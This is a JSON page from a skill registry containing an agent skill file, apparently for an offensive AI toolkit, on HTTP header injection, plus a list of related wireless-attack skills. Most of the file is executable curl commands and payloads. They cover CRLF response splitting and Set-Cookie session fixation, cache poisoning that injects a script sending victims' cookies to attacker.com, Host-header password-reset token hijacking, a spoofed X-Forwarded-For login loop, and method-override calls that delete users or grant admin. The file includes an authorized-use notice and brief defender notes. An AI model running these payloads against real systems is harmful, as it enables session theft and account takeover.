[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M78HMPCXB1Z0BQVTHDWQG3SM":3,"skill-same:01M78HMPCXB1Z0BQVTHDWQG3SM":49},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":15,"categories":16,"keywords":17,"publishedAt":18,"linkOnly":19,"markdownContent":20,"markdownBody":21,"frontMatter":22,"refName":29,"commitSha":30,"skillDirectory":31,"forksCount":13,"repositoryHtmlUrl":32,"repositoryHomepageUrl":6,"ownerHtmlUrl":33,"ownerBlogUrl":6,"ownerDescription":6,"updatedAt":34,"install":35,"resources":48},"01M78HMPCXB1Z0BQVTHDWQG3SM","header-injection",null,"HTTP header injection — CRLF\u002Fresponse splitting, Host-header cache poisoning, X-Forwarded-* abuse, Content-Disposition\u002FSet-Cookie injection, and password-reset link poisoning via unvalidated header values.","dnzengou\u002Fevo-decepticon","dnzengou","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F7807581?v=4","01M75KKJA3F5ZP7CA10MB2AEXC","01M78GP0FED2V1CDPB1N6G0CTH",0,"Apache-2.0","https:\u002F\u002Fgithub.com\u002Fdnzengou\u002Fevo-decepticon\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fexploit\u002Fweb\u002Fheader-injection\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: header-injection\ndescription: \"HTTP header injection — CRLF\u002Fresponse splitting, Host-header cache poisoning, X-Forwarded-* abuse, Content-Disposition\u002FSet-Cookie injection, and password-reset link poisoning via unvalidated header values.\"\nallowed-tools: Bash Read Write\nmetadata:\n  subdomain: injection\n  when_to_use: \"header injection, CRLF injection, response splitting, host header poisoning, host header injection, X-Forwarded-Host, cache poisoning header, Content-Disposition injection, Set-Cookie injection, password reset poisoning, HTTP response splitting, unkeyed header, X-Forwarded-For bypass, method override header, header smuggling\"\n  tags: web-application, injection, crlf, cache-poisoning, host-header\n  mitre_attack: T1190, T1557.002\n---\n\n# HTTP Header Injection\n\nHeader injection turns user-controlled input into HTTP protocol control. When server code copies a request value into a response header without CR\u002FLF stripping, an attacker can terminate the current header and inject new headers or an entire second HTTP response. At the cache layer, headers that influence the response body but are excluded from the cache key enable persistent cache poisoning. The same family of bugs drives Host-header password-reset link hijacking, `X-Forwarded-For` rate-limit bypass, and `Content-Disposition` filename injection.\n\n**Authorized use only.** Only test systems you are explicitly authorized to assess. Cache poisoning attacks affect all users of a shared cache resource.\n\n## Attack Surface\n\n- Query\u002Fbody\u002Fpath parameters echoed into `Location`, `Set-Cookie`, `Content-Type`, `Content-Disposition`, `Link`, or custom `X-*` headers\n- Request headers re-reflected into responses: `Referer`, `User-Agent`, `X-Forwarded-Host`, correlation IDs\n- Password-reset \u002F account-recovery flows where the reset link is built from the `Host` header\n- OAuth\u002FSSO redirect flows where `Location` is derived from user input\n- CDN\u002Freverse-proxy stacks where `X-Forwarded-Host` or `X-Forwarded-Proto` is echoed into canonical URLs\n- `Content-Disposition: attachment; filename=\u003Cuser_input>` file-download endpoints\n- Outbound email headers populated from user-supplied fields (To\u002FFrom\u002FSubject)\n\n## CR\u002FLF Injection Payload Set\n\nThese are the characters and encodings to inject. Try each until one survives to the response header:\n\n| Encoding | Value | Notes |\n|----------|-------|-------|\n| URL bare LF | `%0a` | Most permissive servers |\n| URL bare CR | `%0d` | Rarely effective alone |\n| URL CRLF | `%0d%0a` | Classic; many filters strip this |\n| Double-encoded | `%250d%250a` | Bypasses single-decode WAFs |\n| Tab | `%09` | RFC 7230 permits tab in field values; some parsers fold into preceding header |\n| Null byte | `%00` | Truncates value in some C-based parsers |\n| Unicode LS\u002FPS | `%e2%80%a8` \u002F `%e2%80%a9` | U+2028\u002FU+2029; some intermediaries fold to LF |\n| Overlong UTF-8 CR | `%c0%8d` | Invalid per spec but accepted by some older parsers |\n\n## CRLF Response Splitting\n\nResponse splitting injects `\\r\\n\\r\\n` to terminate the current response and begin a second attacker-controlled one. Impact: inject `Set-Cookie: admin=1`, deliver a phishing page, or poison a shared cache.\n\n### Detection\n\n```bash\nTARGET=\"https:\u002F\u002F\u003CTARGET>\"\n# Basic CRLF probe — inject into a redirect or Location parameter\ncurl -sv \"${TARGET}\u002Fredirect?url=https:\u002F\u002Fevil.com%0d%0aSet-Cookie:%20admin=1\" 2>&1 \\\n  | grep -iE \"^\u003C (set-cookie|location|http)\"\n\n# Probe via User-Agent or Referer if those are reflected\ncurl -sv \"${TARGET}\u002F\" -A \"probe%0d%0aX-Injected: crlf-test\" 2>&1 \\\n  | grep -i \"x-injected\"\n```\n\n**Win signal:** `X-Injected: crlf-test` or `Set-Cookie: admin=1` appears in the response headers.\n\n### Exploitation: Inject Arbitrary Cookie\n\n```bash\nPAYLOAD='https:\u002F\u002Flegit.example.com%0d%0aSet-Cookie:%20session=attacker_value;%20Path=\u002F'\ncurl -sv \"${TARGET}\u002Fredirect?url=${PAYLOAD}\" 2>&1 | grep -i \"set-cookie\"\n```\n\nIf the injected `Set-Cookie` appears, victims visiting this redirect URL (e.g., via a phishing link) receive the attacker-controlled session cookie, enabling session fixation.\n\n### Exploitation: Response Splitting for Cache Poisoning\n\n```bash\n# Force a second 200 response body into the cache slot for \u002F\nPAYLOAD='foo%0d%0a%0d%0aHTTP\u002F1.1%20200%20OK%0d%0aContent-Type:%20text\u002Fhtml%0d%0a%0d%0a\u003Cscript>document.location=\"https:\u002F\u002Fattacker.com\u002F?c=\"+document.cookie\u003C\u002Fscript>'\ncurl -sv \"${TARGET}\u002Fredirect?url=${PAYLOAD}\" 2>&1 | grep -iE \"^\u003C (http|content-type|set-cookie)\"\n# Then check if \u002F is now poisoned:\ncurl -s \"${TARGET}\u002F\" | grep -i \"attacker.com\"\n```\n\n## Host Header Poisoning\n\nThe `Host` header is trusted by application code to build absolute URLs (canonical links, password-reset links, OAuth redirect URIs). Injecting a malicious `Host` causes the app to generate URLs pointing at attacker infrastructure.\n\n### Password Reset Link Hijacking\n\nThe highest-impact Host header attack: victim requests a password reset, the app builds `https:\u002F\u002F\u003CHost>\u002Freset?token=\u003Ctoken>` and emails it. If `Host` is attacker-controlled, the victim clicks a link to the attacker's server which captures the token.\n\n```bash\n# Inject host directly\ncurl -sv -X POST \"${TARGET}\u002Fforgot-password\" \\\n  -H \"Host: attacker.com\" \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"email\":\"victim@example.com\"}' 2>&1 | grep -i \"location\\|set-cookie\"\n\n# Also try X-Forwarded-Host override (some proxies allow this to override Host)\ncurl -sv -X POST \"${TARGET}\u002Fforgot-password\" \\\n  -H \"Host: target.com\" \\\n  -H \"X-Forwarded-Host: attacker.com\" \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"email\":\"victim@example.com\"}' 2>&1 | grep -i \"location\\|set-cookie\"\n```\n\n**Win signal:** An email arrives (check your inbox if testing your own account) with `https:\u002F\u002Fattacker.com\u002Freset?token=...` in the body.\n\n### Host Header Cache Poisoning\n\nIf the app echoes `Host` or `X-Forwarded-Host` into response content (e.g., Open Graph tags, canonical links, JS config) but the CDN caches keyed only on URL:\n\n```bash\n# Step 1: Poison the cache with a malicious host\ncurl -sv \"https:\u002F\u002F\u003CTARGET>\u002F\" \\\n  -H \"X-Forwarded-Host: attacker.com\" 2>&1 | grep -iE \"(canonical|og:url|script src)\"\n\n# Step 2: Verify the cached response serves the poisoned content to a clean client\ncurl -s \"https:\u002F\u002F\u003CTARGET>\u002F\" | grep \"attacker.com\"\n# If attacker.com appears, the cache was poisoned\n```\n\n## X-Forwarded-For and Rate Limit Bypass\n\nApplications that rate-limit or IP-allowlist based on `X-Forwarded-For` or `X-Real-IP` without validating the source (i.e., trusting the client-supplied header rather than the proxy-appended one):\n\n```bash\n# Bypass IP-based rate limit or allowlist\nfor i in $(seq 1 20); do\n  curl -s \"${TARGET}\u002Fapi\u002Flogin\" \\\n    -H \"X-Forwarded-For: 127.0.0.1\" \\\n    -H \"X-Real-IP: 127.0.0.1\" \\\n    -H \"Content-Type: application\u002Fjson\" \\\n    -d '{\"user\":\"admin\",\"pass\":\"wrong\"}' | python3 -m json.tool 2>\u002Fdev\u002Fnull | grep -i \"error\\|remain\\|limit\"\ndone\n# If the server never throttles, X-Forwarded-For spoofing bypasses the rate limiter\n```\n\n## Content-Disposition Filename Injection\n\nWhen a file-download endpoint builds `Content-Disposition: attachment; filename=\u003Cuser_input>`:\n\n```bash\n# Probe: inject CRLF into filename\ncurl -sv \"${TARGET}\u002Fdownload?file=report.pdf%0d%0aContent-Type:%20text\u002Fhtml\" 2>&1 \\\n  | grep -i \"content-type\\|content-disposition\"\n\n# Probe: inject semicolon to override filename (header parameter smuggling)\ncurl -sv \"${TARGET}\u002Fdownload?file=legit.pdf;%20filename=evil.html\" 2>&1 \\\n  | grep -i \"content-disposition\"\n```\n\n## X-HTTP-Method-Override Bypass\n\nSome apps respect `X-HTTP-Method-Override` or `_method` to allow clients to \"override\" the HTTP method. This can bypass method-specific auth checks:\n\n```bash\n# Attempt DELETE via POST with method override\ncurl -sv -X POST \"${TARGET}\u002Fapi\u002Fadmin\u002Fusers\u002F2\" \\\n  -H \"X-HTTP-Method-Override: DELETE\" \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -b basic.jar | head -5\n\ncurl -sv -X POST \"${TARGET}\u002Fapi\u002Fadmin\u002Fusers\u002F2\" \\\n  -H \"X-HTTP-Method-Override: PUT\" \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"role\":\"admin\"}' \\\n  -b basic.jar | head -5\n```\n\n## Cache Poisoning via Unkeyed Headers\n\nThe core technique: find a header that affects the response body but is not included in the cache key.\n\n### Enumeration\n\n```bash\n# Probe which headers alter the response (vary the value, check body diff)\nfor hdr in \"X-Forwarded-Host\" \"X-Forwarded-Proto\" \"X-Original-URL\" \"X-Rewrite-URL\" \"X-Forwarded-Port\" \"X-Host\" \"Forwarded\"; do\n  LEN=$(curl -s \"${TARGET}\u002F\" -H \"$hdr: canary-${RANDOM}\" | wc -c)\n  BASELINE=$(curl -s \"${TARGET}\u002F\" | wc -c)\n  echo \"$hdr → body len $LEN (baseline $BASELINE)\"\ndone\n# Headers that change body length are reflected and potentially unkeyed\n```\n\n### Verification That a Header Is Unkeyed\n\n```bash\n# Send with a canary value\nCANARY=\"poison-$(date +%s)\"\ncurl -s \"${TARGET}\u002F\" -H \"X-Forwarded-Host: ${CANARY}.attacker.com\" | grep -c \"$CANARY\"\n# Output > 0: header is reflected\n\n# Now fetch WITHOUT the header - if body still contains canary, it was cached\ncurl -s \"${TARGET}\u002F\" | grep \"$CANARY\"\n# Output > 0: cached! The cache doesn't key on X-Forwarded-Host.\n```\n\n## Verification Checklist\n\n1. **CRLF:** injected header (`Set-Cookie`, custom `X-*`) appears in the response without the `\\r\\n` being encoded\n2. **Host-header poisoning:** password-reset email contains attacker-controlled hostname in the reset URL\n3. **Cache poisoning:** a clean curl (no injected headers) returns a response body containing the canary value\n4. **Rate-limit bypass:** after N requests with spoofed IP header, no throttling response, whereas without the header the Nth request is blocked\n5. **Method override:** DELETE\u002FPUT action via `X-HTTP-Method-Override` on a POST endpoint succeeds with a basic-user token\n\n## ATT&CK Mapping\n\n- T1190 — Exploit Public-Facing Application (CRLF injection, host header poisoning)\n- T1557.002 — Adversary-in-the-Middle: ARP Cache Poisoning (analogous poisoning at the HTTP layer via unkeyed cache headers)\n\n## False Positives\n\n- Headers stripped or encoded by an upstream WAF\u002Fproxy before reaching the app\n- `Host` not used to build URLs (app uses a hardcoded base URL from config)\n- Cache keys include `Vary: X-Forwarded-Host` explicitly (verify with `Vary` response header)\n- `X-Forwarded-For` value overwritten by legitimate proxy before the rate-limiter reads it\n\n## Detection Notes\n\nDefenders: strip or reject CR\u002FLF in any user-controlled value that flows into a response header. Use a fixed `BASE_URL` config for password-reset link generation instead of trusting `Host`. Ensure CDN cache keys include any header that influences the response. Log and alert on `X-Forwarded-For` values containing internal IPs (127.0.0.1, 10.x, 172.16–31.x, 192.168.x).\n\n## Output Files\n\n```\n.\u002F\n├── header_injection_crlf_probe.txt        # Raw response showing injected header\n├── header_injection_host_reset.txt        # Email\u002Fresponse proving reset link poisoning\n├── header_injection_cache_poison.txt      # Clean-fetch response containing canary\n└── header_injection_summary.md            # Technique, payload, evidence, impact\n```\n","# HTTP Header Injection\n\nHeader injection turns user-controlled input into HTTP protocol control. When server code copies a request value into a response header without CR\u002FLF stripping, an attacker can terminate the current header and inject new headers or an entire second HTTP response. At the cache layer, headers that influence the response body but are excluded from the cache key enable persistent cache poisoning. The same family of bugs drives Host-header password-reset link hijacking, `X-Forwarded-For` rate-limit bypass, and `Content-Disposition` filename injection.\n\n**Authorized use only.** Only test systems you are explicitly authorized to assess. Cache poisoning attacks affect all users of a shared cache resource.\n\n## Attack Surface\n\n- Query\u002Fbody\u002Fpath parameters echoed into `Location`, `Set-Cookie`, `Content-Type`, `Content-Disposition`, `Link`, or custom `X-*` headers\n- Request headers re-reflected into responses: `Referer`, `User-Agent`, `X-Forwarded-Host`, correlation IDs\n- Password-reset \u002F account-recovery flows where the reset link is built from the `Host` header\n- OAuth\u002FSSO redirect flows where `Location` is derived from user input\n- CDN\u002Freverse-proxy stacks where `X-Forwarded-Host` or `X-Forwarded-Proto` is echoed into canonical URLs\n- `Content-Disposition: attachment; filename=\u003Cuser_input>` file-download endpoints\n- Outbound email headers populated from user-supplied fields (To\u002FFrom\u002FSubject)\n\n## CR\u002FLF Injection Payload Set\n\nThese are the characters and encodings to inject. Try each until one survives to the response header:\n\n| Encoding | Value | Notes |\n|----------|-------|-------|\n| URL bare LF | `%0a` | Most permissive servers |\n| URL bare CR | `%0d` | Rarely effective alone |\n| URL CRLF | `%0d%0a` | Classic; many filters strip this |\n| Double-encoded | `%250d%250a` | Bypasses single-decode WAFs |\n| Tab | `%09` | RFC 7230 permits tab in field values; some parsers fold into preceding header |\n| Null byte | `%00` | Truncates value in some C-based parsers |\n| Unicode LS\u002FPS | `%e2%80%a8` \u002F `%e2%80%a9` | U+2028\u002FU+2029; some intermediaries fold to LF |\n| Overlong UTF-8 CR | `%c0%8d` | Invalid per spec but accepted by some older parsers |\n\n## CRLF Response Splitting\n\nResponse splitting injects `\\r\\n\\r\\n` to terminate the current response and begin a second attacker-controlled one. Impact: inject `Set-Cookie: admin=1`, deliver a phishing page, or poison a shared cache.\n\n### Detection\n\n```bash\nTARGET=\"https:\u002F\u002F\u003CTARGET>\"\n# Basic CRLF probe — inject into a redirect or Location parameter\ncurl -sv \"${TARGET}\u002Fredirect?url=https:\u002F\u002Fevil.com%0d%0aSet-Cookie:%20admin=1\" 2>&1 \\\n  | grep -iE \"^\u003C (set-cookie|location|http)\"\n\n# Probe via User-Agent or Referer if those are reflected\ncurl -sv \"${TARGET}\u002F\" -A \"probe%0d%0aX-Injected: crlf-test\" 2>&1 \\\n  | grep -i \"x-injected\"\n```\n\n**Win signal:** `X-Injected: crlf-test` or `Set-Cookie: admin=1` appears in the response headers.\n\n### Exploitation: Inject Arbitrary Cookie\n\n```bash\nPAYLOAD='https:\u002F\u002Flegit.example.com%0d%0aSet-Cookie:%20session=attacker_value;%20Path=\u002F'\ncurl -sv \"${TARGET}\u002Fredirect?url=${PAYLOAD}\" 2>&1 | grep -i \"set-cookie\"\n```\n\nIf the injected `Set-Cookie` appears, victims visiting this redirect URL (e.g., via a phishing link) receive the attacker-controlled session cookie, enabling session fixation.\n\n### Exploitation: Response Splitting for Cache Poisoning\n\n```bash\n# Force a second 200 response body into the cache slot for \u002F\nPAYLOAD='foo%0d%0a%0d%0aHTTP\u002F1.1%20200%20OK%0d%0aContent-Type:%20text\u002Fhtml%0d%0a%0d%0a\u003Cscript>document.location=\"https:\u002F\u002Fattacker.com\u002F?c=\"+document.cookie\u003C\u002Fscript>'\ncurl -sv \"${TARGET}\u002Fredirect?url=${PAYLOAD}\" 2>&1 | grep -iE \"^\u003C (http|content-type|set-cookie)\"\n# Then check if \u002F is now poisoned:\ncurl -s \"${TARGET}\u002F\" | grep -i \"attacker.com\"\n```\n\n## Host Header Poisoning\n\nThe `Host` header is trusted by application code to build absolute URLs (canonical links, password-reset links, OAuth redirect URIs). Injecting a malicious `Host` causes the app to generate URLs pointing at attacker infrastructure.\n\n### Password Reset Link Hijacking\n\nThe highest-impact Host header attack: victim requests a password reset, the app builds `https:\u002F\u002F\u003CHost>\u002Freset?token=\u003Ctoken>` and emails it. If `Host` is attacker-controlled, the victim clicks a link to the attacker's server which captures the token.\n\n```bash\n# Inject host directly\ncurl -sv -X POST \"${TARGET}\u002Fforgot-password\" \\\n  -H \"Host: attacker.com\" \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"email\":\"victim@example.com\"}' 2>&1 | grep -i \"location\\|set-cookie\"\n\n# Also try X-Forwarded-Host override (some proxies allow this to override Host)\ncurl -sv -X POST \"${TARGET}\u002Fforgot-password\" \\\n  -H \"Host: target.com\" \\\n  -H \"X-Forwarded-Host: attacker.com\" \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"email\":\"victim@example.com\"}' 2>&1 | grep -i \"location\\|set-cookie\"\n```\n\n**Win signal:** An email arrives (check your inbox if testing your own account) with `https:\u002F\u002Fattacker.com\u002Freset?token=...` in the body.\n\n### Host Header Cache Poisoning\n\nIf the app echoes `Host` or `X-Forwarded-Host` into response content (e.g., Open Graph tags, canonical links, JS config) but the CDN caches keyed only on URL:\n\n```bash\n# Step 1: Poison the cache with a malicious host\ncurl -sv \"https:\u002F\u002F\u003CTARGET>\u002F\" \\\n  -H \"X-Forwarded-Host: attacker.com\" 2>&1 | grep -iE \"(canonical|og:url|script src)\"\n\n# Step 2: Verify the cached response serves the poisoned content to a clean client\ncurl -s \"https:\u002F\u002F\u003CTARGET>\u002F\" | grep \"attacker.com\"\n# If attacker.com appears, the cache was poisoned\n```\n\n## X-Forwarded-For and Rate Limit Bypass\n\nApplications that rate-limit or IP-allowlist based on `X-Forwarded-For` or `X-Real-IP` without validating the source (i.e., trusting the client-supplied header rather than the proxy-appended one):\n\n```bash\n# Bypass IP-based rate limit or allowlist\nfor i in $(seq 1 20); do\n  curl -s \"${TARGET}\u002Fapi\u002Flogin\" \\\n    -H \"X-Forwarded-For: 127.0.0.1\" \\\n    -H \"X-Real-IP: 127.0.0.1\" \\\n    -H \"Content-Type: application\u002Fjson\" \\\n    -d '{\"user\":\"admin\",\"pass\":\"wrong\"}' | python3 -m json.tool 2>\u002Fdev\u002Fnull | grep -i \"error\\|remain\\|limit\"\ndone\n# If the server never throttles, X-Forwarded-For spoofing bypasses the rate limiter\n```\n\n## Content-Disposition Filename Injection\n\nWhen a file-download endpoint builds `Content-Disposition: attachment; filename=\u003Cuser_input>`:\n\n```bash\n# Probe: inject CRLF into filename\ncurl -sv \"${TARGET}\u002Fdownload?file=report.pdf%0d%0aContent-Type:%20text\u002Fhtml\" 2>&1 \\\n  | grep -i \"content-type\\|content-disposition\"\n\n# Probe: inject semicolon to override filename (header parameter smuggling)\ncurl -sv \"${TARGET}\u002Fdownload?file=legit.pdf;%20filename=evil.html\" 2>&1 \\\n  | grep -i \"content-disposition\"\n```\n\n## X-HTTP-Method-Override Bypass\n\nSome apps respect `X-HTTP-Method-Override` or `_method` to allow clients to \"override\" the HTTP method. This can bypass method-specific auth checks:\n\n```bash\n# Attempt DELETE via POST with method override\ncurl -sv -X POST \"${TARGET}\u002Fapi\u002Fadmin\u002Fusers\u002F2\" \\\n  -H \"X-HTTP-Method-Override: DELETE\" \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -b basic.jar | head -5\n\ncurl -sv -X POST \"${TARGET}\u002Fapi\u002Fadmin\u002Fusers\u002F2\" \\\n  -H \"X-HTTP-Method-Override: PUT\" \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"role\":\"admin\"}' \\\n  -b basic.jar | head -5\n```\n\n## Cache Poisoning via Unkeyed Headers\n\nThe core technique: find a header that affects the response body but is not included in the cache key.\n\n### Enumeration\n\n```bash\n# Probe which headers alter the response (vary the value, check body diff)\nfor hdr in \"X-Forwarded-Host\" \"X-Forwarded-Proto\" \"X-Original-URL\" \"X-Rewrite-URL\" \"X-Forwarded-Port\" \"X-Host\" \"Forwarded\"; do\n  LEN=$(curl -s \"${TARGET}\u002F\" -H \"$hdr: canary-${RANDOM}\" | wc -c)\n  BASELINE=$(curl -s \"${TARGET}\u002F\" | wc -c)\n  echo \"$hdr → body len $LEN (baseline $BASELINE)\"\ndone\n# Headers that change body length are reflected and potentially unkeyed\n```\n\n### Verification That a Header Is Unkeyed\n\n```bash\n# Send with a canary value\nCANARY=\"poison-$(date +%s)\"\ncurl -s \"${TARGET}\u002F\" -H \"X-Forwarded-Host: ${CANARY}.attacker.com\" | grep -c \"$CANARY\"\n# Output > 0: header is reflected\n\n# Now fetch WITHOUT the header - if body still contains canary, it was cached\ncurl -s \"${TARGET}\u002F\" | grep \"$CANARY\"\n# Output > 0: cached! The cache doesn't key on X-Forwarded-Host.\n```\n\n## Verification Checklist\n\n1. **CRLF:** injected header (`Set-Cookie`, custom `X-*`) appears in the response without the `\\r\\n` being encoded\n2. **Host-header poisoning:** password-reset email contains attacker-controlled hostname in the reset URL\n3. **Cache poisoning:** a clean curl (no injected headers) returns a response body containing the canary value\n4. **Rate-limit bypass:** after N requests with spoofed IP header, no throttling response, whereas without the header the Nth request is blocked\n5. **Method override:** DELETE\u002FPUT action via `X-HTTP-Method-Override` on a POST endpoint succeeds with a basic-user token\n\n## ATT&CK Mapping\n\n- T1190 — Exploit Public-Facing Application (CRLF injection, host header poisoning)\n- T1557.002 — Adversary-in-the-Middle: ARP Cache Poisoning (analogous poisoning at the HTTP layer via unkeyed cache headers)\n\n## False Positives\n\n- Headers stripped or encoded by an upstream WAF\u002Fproxy before reaching the app\n- `Host` not used to build URLs (app uses a hardcoded base URL from config)\n- Cache keys include `Vary: X-Forwarded-Host` explicitly (verify with `Vary` response header)\n- `X-Forwarded-For` value overwritten by legitimate proxy before the rate-limiter reads it\n\n## Detection Notes\n\nDefenders: strip or reject CR\u002FLF in any user-controlled value that flows into a response header. Use a fixed `BASE_URL` config for password-reset link generation instead of trusting `Host`. Ensure CDN cache keys include any header that influences the response. Log and alert on `X-Forwarded-For` values containing internal IPs (127.0.0.1, 10.x, 172.16–31.x, 192.168.x).\n\n## Output Files\n\n```\n.\u002F\n├── header_injection_crlf_probe.txt        # Raw response showing injected header\n├── header_injection_host_reset.txt        # Email\u002Fresponse proving reset link poisoning\n├── header_injection_cache_poison.txt      # Clean-fetch response containing canary\n└── header_injection_summary.md            # Technique, payload, evidence, impact\n```\n",{"name":5,"metadata":23,"description":7,"allowed-tools":28},{"tags":24,"subdomain":25,"when_to_use":26,"mitre_attack":27},"web-application, injection, crlf, cache-poisoning, host-header","injection","header injection, CRLF injection, response splitting, host header poisoning, host header injection, X-Forwarded-Host, cache poisoning header, Content-Disposition injection, Set-Cookie injection, password reset poisoning, HTTP response splitting, unkeyed header, X-Forwarded-For bypass, method override header, header smuggling","T1190, T1557.002","Bash Read Write","main","376de63e2b186eeb9856476ae89186e62b1d3fbe","packages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fexploit\u002Fweb\u002Fheader-injection","https:\u002F\u002Fgithub.com\u002Fdnzengou\u002Fevo-decepticon","https:\u002F\u002Fgithub.com\u002Fdnzengou","2026-11-09 16:34:40",{"source":8,"skillName":5,"commands":36,"prompt":46,"zipAvailable":47},[37,40,43],{"tool":38,"command":39},"npx","npx skills add dnzengou\u002Fevo-decepticon --skill header-injection",{"tool":41,"command":42},"bunx","bunx skills add dnzengou\u002Fevo-decepticon --skill header-injection",{"tool":44,"command":45},"pnpm","pnpm dlx skills add dnzengou\u002Fevo-decepticon --skill header-injection","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fdnzengou\u002Fevo-decepticon\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fexploit\u002Fweb\u002Fheader-injection\u002FSKILL.md",true,[],[50,57,64,71,78,85],{"skillNo":51,"name":52,"nameZh":6,"description":53,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":54,"categories":55,"keywords":56,"publishedAt":18},"01M78JAX15GZR5Q5S7RMPWFX43","wps-pixie-dust","WPS Pixie-Dust offline nonce attack (reaver -K \u002F pixiewps) and fallback online PIN brute (bully) to recover the AP's WPA PSK without capturing a handshake.","https:\u002F\u002Fgithub.com\u002Fdnzengou\u002Fevo-decepticon\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwps-pixie-dust\u002FSKILL.md",[],[],{"skillNo":58,"name":59,"nameZh":6,"description":60,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":61,"categories":62,"keywords":63,"publishedAt":18},"01M78JARXE0ZER8P81SFD024YP","wpa3-sae","WPA3-SAE transition-mode downgrade (DragonShift), SSID Confusion CVE-2023-52424, Dragonblood side-channels, and SAE captive-portal credential recovery against WPA3-Personal networks.","https:\u002F\u002Fgithub.com\u002Fdnzengou\u002Fevo-decepticon\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa3-sae\u002FSKILL.md",[],[],{"skillNo":65,"name":66,"nameZh":6,"description":67,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":68,"categories":69,"keywords":70,"publishedAt":18},"01M78JANJNH8VMR0CK1Y6AM74G","wpa2-psk","WPA\u002FWPA2-PSK handshake capture via targeted deauth + PMKID (no deauth required) + offline hashcat cracking. The most common consumer\u002FSMB encryption mode in 2026.","https:\u002F\u002Fgithub.com\u002Fdnzengou\u002Fevo-decepticon\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa2-psk\u002FSKILL.md",[],[],{"skillNo":72,"name":73,"nameZh":6,"description":74,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":75,"categories":76,"keywords":77,"publishedAt":18},"01M78JAFCYR2BAJF7KH0ZCXREA","wpa-enterprise-eap","WPA\u002FWPA2\u002FWPA3-Enterprise (802.1X\u002FEAP) rogue-RADIUS evil-twin for MSCHAPv2 capture, GTC downgrade, and PEAP relay. MSCHAPv2 capture equals a NetNTLM hash — the primary wireless on-ramp to Active Directory.","https:\u002F\u002Fgithub.com\u002Fdnzengou\u002Fevo-decepticon\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa-enterprise-eap\u002FSKILL.md",[],[],{"skillNo":79,"name":80,"nameZh":6,"description":81,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":82,"categories":83,"keywords":84,"publishedAt":18},"01M78JAAQ5T08FR9MY5SFNRWBM","krack-fragattacks","KRACK key-reinstallation (CVE-2017-13077..13082) and FragAttacks fragmentation\u002Faggregation flaws (CVE-2020-24586..24588, CVE-2020-26139..26147) against legacy or embedded 802.11 supplicants with poor patch cadence.","https:\u002F\u002Fgithub.com\u002Fdnzengou\u002Fevo-decepticon\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fkrack-fragattacks\u002FSKILL.md",[],[],{"skillNo":86,"name":87,"nameZh":6,"description":88,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":89,"categories":90,"keywords":91,"publishedAt":18},"01M78JA6799JQZE0M9B21HRMGY","evil-twin-karma","Evil-twin rogue AP with KARMA\u002FMana PNL-probe response, captive-portal credential capture, and post-association MITM for PSK\u002Fopen networks. Distinct from wpa-enterprise-eap which targets 802.1X.","https:\u002F\u002Fgithub.com\u002Fdnzengou\u002Fevo-decepticon\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fevil-twin-karma\u002FSKILL.md",[],[]]